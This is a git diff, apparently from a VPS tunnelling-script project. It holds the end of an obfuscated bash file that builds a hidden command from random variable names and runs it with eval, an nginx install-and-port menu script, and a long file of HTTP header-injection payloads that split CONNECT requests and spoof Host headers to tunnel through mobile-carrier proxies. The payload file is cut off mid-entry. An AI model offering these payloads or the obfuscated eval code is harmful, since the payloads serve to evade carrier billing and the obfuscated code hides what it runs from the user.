kquCtWyqKfPNSVptKPAjXIoRJEOSAOFuEMvWFvIwGIjHwYWOEXHnpxpSvqPIRBcwXjrYPHPESVT=" -d";DcmZwBcYnEuidhOIvpsIfaoASctBKLuHbuUVdZvekWSTGgsOjWRzvxXQuZtZBtFKzWByiNwjBFJtzFMjQTsLCPdfVjlxUHrPOFbg="QBYNEhyqMwyuotQqSYJCWhmipmxDmNINpBaVcJFPxgLoVrgdwFLwwnZiKcgFFQRIyDCyyHvRxaqsXrlCnxXOvPhvVyWQTtMBruEP";MsMmEOvEZyugXWIbOSjxPrQSqWhSEUZtTMFLlYUgIfrGTfureltmPkcrAJNoelMMGmXjAMRrgOWCDksSRiULBGTxdqeJIHddBRMz="";wwIpftgJnmLRlLQSXAeKMrtkGfKdaFFvYgNWpnrJwivZTZTARdeMCCAgyneGMAZEjMRETEZjPNpCrvTtCKNzHFvDSqYTiUxaNWFP="b";WXJzAzqBJpPMiwyGoubweDfTFMvdjpknwwacGZkMusIapBAtasHqglJQAKVfOaAYQOzPrZYNPsIzWtVXfPxHEHxrgfCZtsSvwdyd="e";QKhBseuUINlCWyPezZJHdOcoIpqDXuuAangnLFrBeqMNkgYkZzkqKDZzSxrcDzXPLBudZbAHxGNReyhGuSnntazhwpdJvBWXIKIc="v |";Tx=Eds;MRtZeucSufjVuzdBHAxevdxyXpOHWCZUcFnhlvEqnrqnIAmMOLnQNalVqxJTYnVpkruMsfLrjBrkzNShSSSwjRhdmdeVCmxnhFYW="";ScslYMmtMHuxUNihUabswfEOXBuMiVqlycbGPiaWJuiGneMesAFqWiChOUrOsueuaMZtoSregfFSajObBHNzyVDrFNvjmSjkDmqR=$(eval "$TlilyRcJzudwXVcIarfNgGFAzJsTBHsUcUFjTjEqEQqODsskJbVlQydGltdCvapmGIeAWmBdspbeSePfoiDGEfJjtURuroAVoZPb$WXJzAzqBJpPMiwyGoubweDfTFMvdjpknwwacGZkMusIapBAtasHqglJQAKVfOaAYQOzPrZYNPsIzWtVXfPxHEHxrgfCZtsSvwdyd$JYxlvVPqnfoYrEEQzxgbzadIqdrBYxhlSAbajKXGVgDvXYmufunMwYCCrIBODKUkKIyZnJAfnPoZThvKGZiqLcWQqUfTBDwWwdMB$YcQQsgefwoaMBQIfQKRGTlragXOuHoeVowRefoqttQytLbsFXFhKHpgTdayZXJhtTSPBVeRXzamXRZvBFGsNPqHimHrqimyNyyvV$TlOAXYNFTAPyBRjsmtskehVIidBtJCSMGIqRvmRyWXxSbfRmTrCMVLrMqLxMQqkWCyAvKIfIdeUnIKPCCBywKoQMmKrlDhPKNESI$NSKPhwJPMTpegFIbGURbhFnLwVkgjsQTnsrzyJcPlSjwvsxFdiUlgFTCpjOILsVIbyrLqGYcwUiqhKLpNITBZeVsYUqpCPjaEmwG$WXJzAzqBJpPMiwyGoubweDfTFMvdjpknwwacGZkMusIapBAtasHqglJQAKVfOaAYQOzPrZYNPsIzWtVXfPxHEHxrgfCZtsSvwdyd$QKhBseuUINlCWyPezZJHdOcoIpqDXuuAangnLFrBeqMNkgYkZzkqKDZzSxrcDzXPLBudZbAHxGNReyhGuSnntazhwpdJvBWXIKIc$TlilyRcJzudwXVcIarfNgGFAzJsTBHsUcUFjTjEqEQqODsskJbVlQydGltdCvapmGIeAWmBdspbeSePfoiDGEfJjtURuroAVoZPb$wwIpftgJnmLRlLQSXAeKMrtkGfKdaFFvYgNWpnrJwivZTZTARdeMCCAgyneGMAZEjMRETEZjPNpCrvTtCKNzHFvDSqYTiUxaNWFP$MRtZeucSufjVuzdBHAxevdxyXpOHWCZUcFnhlvEqnrqnIAmMOLnQNalVqxJTYnVpkruMsfLrjBrkzNShSSSwjRhdmdeVCmxnhFYW$pdTitcWQhRwFubzYSvNJRIyXrVgnwmBBgvXpRZwncDkMBWQtIyCmeEIbhDfWhcIZAMicQbWnbtnAOiZuSjBKpeejlkcsnAtQjpik$WXJzAzqBJpPMiwyGoubweDfTFMvdjpknwwacGZkMusIapBAtasHqglJQAKVfOaAYQOzPrZYNPsIzWtVXfPxHEHxrgfCZtsSvwdyd$BfzopIrcteZsymNgxCpYrYjUuMBHMrvIjDtvlCKluWXCpXYmQhLNbAimGUoCxcjLaKJwUcEFFKMPBcBOSjTYLZhJwbNeMaCWEInj$YcQQsgefwoaMBQIfQKRGTlragXOuHoeVowRefoqttQytLbsFXFhKHpgTdayZXJhtTSPBVeRXzamXRZvBFGsNPqHimHrqimyNyyvV$QCouyGEOijpdOgSHxhCbElsEUvrDqkIYpYgzhGFKfusOaNkTynSRZTljBLHowsRnvgpyZHFhqnRzIUnxgnxtsCxJTAtypfusWFdd$LstarKArTqlrRuARnnEsYjdnWkquCtWyqKfPNSVptKPAjXIoRJEOSAOFuEMvWFvIwGIjHwYWOEXHnpxpSvqPIRBcwXjrYPHPESVT$MRtZeucSufjVuzdBHAxevdxyXpOHWCZUcFnhlvEqnrqnIAmMOLnQNalVqxJTYnVpkruMsfLrjBrkzNShSSSwjRhdmdeVCmxnhFYW");eval "$MsMmEOvEZyugXWIbOSjxPrQSqWhSEUZtTMFLlYUgIfrGTfureltmPkcrAJNoelMMGmXjAMRrgOWCDksSRiULBGTxdqeJIHddBRMz$ScslYMmtMHuxUNihUabswfEOXBuMiVqlycbGPiaWJuiGneMesAFqWiChOUrOsueuaMZtoSregfFSajObBHNzyVDrFNvjmSjkDmqR$TlilyRcJzudwXVcIarfNgGFAzJsTBHsUcUFjTjEqEQqODsskJbVlQydGltdCvapmGIeAWmBdspbeSePfoiDGEfJjtURuroAVoZPb$YcQQsgefwoaMBQIfQKRGTlragXOuHoeVowRefoqttQytLbsFXFhKHpgTdayZXJhtTSPBVeRXzamXRZvBFGsNPqHimHrqimyNyyvV" \ No newline at end of file diff --git a/test/nginx.sh b/test/nginx.sh new file mode 100644 index 0000000..9f9aaa3 --- /dev/null +++ b/test/nginx.sh @@ -0,0 +1,148 @@ +#!/bin/bash +clear +source msg +change_port(){ +unset var +var="$1" + cat >> /etc/nginx/sites-available/default <<- eof + ## + # You should look at the following URL's in order to grasp a solid understanding + # of Nginx configuration files in order to fully unleash the power of Nginx. + # https://www.nginx.com/resources/wiki/start/ + # https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/ + # https://wiki.debian.org/Nginx/DirectoryStructure + # + # In most cases, administrators will remove this file from sites-enabled/ and + # leave it as reference inside of sites-available where it will continue to be + # updated by the nginx packaging team. + # + # This file will automatically load configuration files provided by other + # applications, such as Drupal or Wordpress. These applications will be made + # available underneath a path with that package name, such as /drupal8. + # + # Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples. + ## + + # Default server configuration + # + server { + listen $1 default_server; + listen [::]:$1 default_server; + + # SSL configuration + # + # listen 443 ssl default_server; + # listen [::]:443 ssl default_server; + # + # Note: You should disable gzip for SSL traffic. + # See: https://bugs.debian.org/773332 + # + # Read up on ssl_ciphers to ensure a secure configuration. + # See: https://bugs.debian.org/765782 + # + # Self signed certs generated by the ssl-cert package + # Don't use them in a production server! + # + # include snippets/snakeoil.conf; + + root /var/www/html; + + # Add index.php to the list if you are using PHP + index index.html index.htm index.nginx-debian.html; + + server_name _; + + location / { + # First attempt to serve request as file, then + # as directory, then fall back to displaying a 404. + try_files \$uri \$uri/ =404; + } + + # pass PHP scripts to FastCGI server + # + #location ~ \.php$ { + # include snippets/fastcgi-php.conf; + # + # # With php-fpm (or other unix sockets): + # fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + # # With php-cgi (or other tcp sockets): + # fastcgi_pass 127.0.0.1:9000; + #} + # deny access to .htaccess files, if Apache's document root + # concurs with nginx's one + # + #location ~ /\.ht { + # deny all; + #} + } + + + # Virtual Host configuration for example.com + # + # You can move that to a different file under sites-available/ and symlink that + # to sites-enabled/ to enable it. + # + #server { + # listen 80; + # listen [::]:80; + # + # server_name example.com; + # + # root /var/www/example.com; + # index index.html; + # + # location / { + # try_files $uri $uri/ =404; + # } + #} + + eof + #rm -f /etc/nginx/sites-enabled/default &> /dev/null + #ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default + systemctl daemon-reload + systemctl restart nginx +} + +nginxport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" |grep "nginx"|awk '{print $9}'|awk -F ":" '{print $2}') +tittle +if [[ -z $nginxport ]]; then + menu_func 'INSTALAR NGINX' + back + case `selection_fun 1` in + 1)msg -ama 'INSTALANDO NGINX' + fun_bar 'apt-get install nginx' + wget -O /etc/nginx/nginx.conf https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/nginx.conf &> /dev/null + wget -O /etc/nginx/conf.d/vps.conf https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/vps.conf &> /dev/null + /etc/init.d/nginx restart &> /dev/null + nginx &> /dev/null ;; + 0)return $?;; + esac +enter +else + echo -e "$(printext 'PUERTO NGINX:') \e[1;97m$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" |grep "nginx"|awk '{print $9}'|awk -F ":" '{print $2}'|xargs)" + menu_func 'EDITAR PUERTO NGINX' '-vm DESINSTALAR NGINX' + back + case `selection_fun 2` in + 1)read -p $'\e[1;31mingrese el nuevo puerto para nginx: ' ngi + [[ -z $ngi ]] && return $? || { + nport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" |grep "nginx"|awk '{print $9}'|awk -F ":" '{print $2}') + if systemctl stop nginx ; then + change_port "$ngi" + fi + } + ;; + 2) + msg -ama 'DESINSTALANDO NGINX' + systemctl stop nginx + systemctl disable nginx + systemctl daemon-reload + apt purge nginx + apt autoremove + apt clean + killall nginx + ;; + esac +enter +fi + + diff --git a/test/payloads b/test/payloads new file mode 100644 index 0000000..92df0d4 --- /dev/null +++ b/test/payloads @@ -0,0 +1,755 @@ +---------------------------------------------------------------------------- + + +[auth][auth]get http://ssh.proxy.ip/mhost/ +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf]get mhost/ HTTP/1.1[crlf]CONNECT mhost[crlf][crlf][delay_split][auth][auth][auth][auth]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] ecob.claro.com.br[crlf][crlf][delay_split]get mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://ecob.claro.com.br/ HTTP/1.1 +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf]get mhost/ HTTP/1.1[crlf]CONNECT ecob.claro.com.br[crlf][crlf][delay_split] + +---------------------------------------------------------------------------- + + +[auth][auth][auth][auth]get http://mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]get http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/ HTTP/1.1 +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf][auth][auth][auth][auth][auth][auth][auth][auth][auth][auth][auth][lf] + +---------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1 +User-Agent: [ua][crlf][host][crlf][crlf][split]CONNECT ip da. Vps :443 HTTP/1.0[crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf]GET http://mhost/ HTTP/1.0 +Host: mhost +Proxy-Authorization: basic: mhost +User-Agent: [ua] +Connection: close +Proxy-Connection: Keep-Alive [crlf][host][crlf][crlf][split]CONNECT [host_port] HTTP/1.0[crlf][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][host][crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf][crlf] + + +---------------------------------------------------------------------------- + + + +[method] mhost:443 HTTP/1.1[lf]CONNECT [host_port] [protocol][lf][lf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][lf]Proxy-Connection: Keep-Alive[lf][host][crlf][lf][delay_split]CONNECT [host_port] [protocol][lf][lf]CONNECT [host_port] [protocol][crlf][realData][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]User-Agent: KDDI[lf][host][lf][lf][lf][raw]CONNECT [host_port] [protocol][lf]CONNECT [ssh] HTTP/1.1[lf]CONNECT [host_port] [protocol][lf][lf]DELETE http://mhost/HTTP/1.1[lf]Host: m.opera.com[lf]Proxy-Authorization: basic: *[lf]User-Agent: KDDI[lf]Connection: close[lf]Proxy-Connection: Direct[lf][host][lf][lf][raw]CONNECT [host_port] [protocol][lf][lf][lf][raw][method] http://mhost[port] HTTP/1.1[lf]Host: [auth][lf][host][lf][lf]CONNECT [host] [protocol][lf][lf][raw]CONNECT [host] [protocol][lf][lf] + + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[lf]__[crlf] + + +---------------------------------------------------------------------------- + + +[lf][lf]CONNECT [host_port]@mhost [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][lf][host]@mhost [protocol][crlf][crlf] + + + +---------------------------------------------------------------------------- + + +[immutable][method] [host_port] [delay_split]GET http://mhost HTTP/1.1[netData][crlf]HTTP:mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf] + + +----------------------------------------------------------------------------- + +[method] [host_port]?[split]GET http://mhost:8080/[crlf][crlf]get [host_port]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [crlf]GET [host_port]?[split]get http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port]?[split]GET http://mhost:/[crlf][crlf]POST [host_port]?[split]GET +mhost:/[crlf]Content-Length: 999999999\r\n\r\n + +----------------------------------------------------------------------------- +CONNECT [host_port] [protocol][crlf][delay_split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port]GET http://mhost/ [protocol][lf][split]get mhost/ HTTP/1.1[lf][lf] + +----------------------------------------------------------------------------- + +CONNECT [host_port]get http://mhost/ [protocol][lf][split]GET http://mhost/ HTTP/1.1[lf]Host: navegue.vivo.ddivulga.com/pacote[lf][host_port]get http://mhost/ [protocol][lf][split]GET http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]get http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]get http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost HTTP/1.1[crlf]TRACE mhost HTTP/1.1[crlf]OPTIONS mhost HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]get http://mhost HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]get mhost/ HTTP/1.1[crlf] [crlf][immutable] + + +----------------------------------------------------------------------------- + +CONNECT [host_port] [split]get http://mhost/ EHTTP/1.1 200 OK[crlf]HTTP Host: speedtest.net;m.whatsapp.com;sonymobile.com.br;caixa.sp.gov;mhost.co.id;vivo.com.br;[crlf]Forwarded-For: m.whatsapp.com/speedtest.bet[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][instant_split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Online-Host: mhost[crlf]ping-server: www.google.com[crlf]Connection: Close[crlf]Bandwith-Speed: 10GBps,lock,Keep-Alive[crlf]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)[crlf][crlf]ping m.facebook.com[crlf]Content-Type: text/html; charset=utf-8X-[crlf]Content-Type: OptionsnosniffAccess-Control-Allow-Credentialstrueaccess-control-allow[split][method] OPTIONSExpiresSat, 01 Jan 2000 00:00:00 GMT0„2(6317d ago)X-FB-Debug1d4XXullTOxJZaZVk8PkrdpTcsyCcqDpHzZ6bFycC+ELii5hc8/lFzWhQ98EO/Cq2VJDnK2l5VTKEJISC++PbQ[crlf]Connection: close[crlf]Connection: Keep-Alive[crlf]Content-Length: 999999999999[crlf][crlf] + + +----------------------------------------------------------------------------- + +CONNECT [host_port]@mhost [instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]get mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf][immutable] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]GET mhost/ HTTP/1.1[crlf][crlf][immutable] + +----------------------------------------------------------------------------- + +CONNECT [host_port]@mhost/ [instant_split]get http://mhost/ HTTP/1.1[crlf] + +----------------------------------------------------------------------------- + +[immutable]get [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port] [instant_split]get http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]get http://mhost/ +HTTP/1.1[ua][crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTPS/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [auth][crlf][crlf][delay_split]CONNECT [host_port] [protocol][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf][delay_split]CONNECT [host_port] [method][cr]?[lf][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port] [protocol]\r +\r +get http://mhost HTTP/1.1\r +Host: mhost\r +X-Online-Host: mhost\r +X-Forward-Host: mhost\r +User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP\r +\r + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost +User-Agent: Yes +Connection: close +Proxy-Connection: Keep-Alive +[crlf][crlf]CONNECT [host_port][protocol][crlf][crlf][immutable] + +----------------------------------------------------------------------------- + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + + + + +----------------------------------------------------------------------------- + + + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[lf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[lf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[lf] Age: 8, 8[lf] Cache-Control: max-age=86400[lf] public[lf] Connection: keep-alive[lf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[lf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[lf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[lf] Age: 8, 8[lf] Cache-Control: max-age=86400[lf] public[lf] Connection: keep-alive[lf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + + +GET http://mhost/ HTTP/1.1 +Host: mhost/ +User-Agent: Yes +Connection: close +Proxy-Connection: update +[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf][crlf][crlf] + + + +----------------------------------------------------------------------------- + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1 +Host: mhost +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: http://mhost +Accept-Encoding: gzip, deflate, sdch +Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4 +Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1 +Connection: close +Proxy-Connection: Keep-Alive +[crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost[crlf] HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf] +Referer:http://mhost[crlf] +Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost +User-Agent: null +Connection: close +Proxy-Connection: x-online-host +[lf][lf] CONNECT [host_port] [protocol] [netData][lf]Content-Length: 130 [lf][lf] + + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[lf]Accept-Encoding: gzip,deflate[lf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[lf]Connection: Basic[lf]Referer: mhost[lf]Cookie: mhost [lf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[lf]HEAD http://mhost/ [protocol][lf]Host: mhost[lf]CONNECT [lf]DELETE http://mhost/ HTTP/1.1[crlf]CONNECT mhost [crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][lf] [crlf][crlf][netData][cr][lf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- +get [host_port]@mhost HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] + +----------------------------------------------------------------------------- +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]get http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] + +----------------------------------------------------------------------------- + +get https://mhost/ HTTP/1.1 +Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 +Keep-Alive: 115 +Connection: keep-alive +Referer: mhost +Cookie: 